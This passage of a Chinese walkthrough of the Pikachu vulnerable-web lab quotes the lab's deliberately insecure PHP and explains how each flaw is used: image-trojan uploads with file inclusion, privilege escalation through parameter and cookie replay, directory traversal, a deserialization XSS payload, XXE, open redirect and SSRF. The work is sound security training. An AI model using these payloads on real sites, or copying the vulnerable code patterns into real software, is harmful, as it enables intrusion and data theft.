//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。
3,getimagesize
直接上传图片马,绕过所有的检查
此时图片只是图片,需要联和文件包含漏洞执行文件
源码:
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
$return_data['return']=false;
return $return_data;
}
//获取后缀名,如果不存在后缀名,则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型,MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片,不要欺骗我!';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
?>
getmagesize.php文件:
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。
八、越权
1,水平越权
根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。
源码:
if(isset($_GET['submit']) && $_GET['username']!=null){
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
没有将传入的username进行session校验,而是直接使用传入的值查询。
2,水平越权
使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包
添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包
垂直越权成功,普通用户能执行管理员用户添加用户的权限。
源码:
admin.php:
$link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
header("location:op2_login.php");
exit();
}
//删除
if(isset($_GET['id'])){
$id=escape($link, $_GET['id']);//转义
$query="delete from member where id={$id}";
execute($link, $query);
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
admin_edit.php:
$link=connect();
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";
}
}
}
user.php:
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op2_login($link)){
header("location:op2_login.php");
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
login.php:
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);//转义,防注入
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
if($data['level']==1){//如果级别是1,进入admin.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=1;
header("location:op2_admin.php");
}
if($data['level']==2){//如果级别是2,进入user.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=2;
header("location:op2_user.php");
}
}else{
//查询不到,登录失败
$html.="<p>登录失败,请重新登录</p>";
}
}
}
?>
根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。
九、目录遍历
这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。
果然如此,通过修改titile的参数能进行目录遍历读取文件。
源码:
if(isset($_GET['title'])){
$filename=$_GET['title'];
require "soup/$filename";
}
?>
直接使用了require包含了传入的title参数,跟include一个道理。
include和require的区别如下:
1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require("test.php") echo 1; include("test.php") echo 1; 如果test.php不存在,include会输出1,require不会。
2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。
十、敏感信息泄露
源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。
十一、PHP反序列化
反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:
源码分析:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
<?php echo $html;?>
类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。
序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。
十一、XXE
具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。
源码:
$html='';
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析
主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。
十二、URL重定向
点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。
源码:
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
?>
变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。
十三、 SSRF(服务端请求伪造)
1、curl
url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。
源码:
if(isset($_GET['url']) && $_GET['url'] != null){
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
echo $RES;
}
?>
使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。
2,file_get_content
源码:
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
?>
使用PHP函数file_get_content()读取文件且未进行白名单过滤
总结、
pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。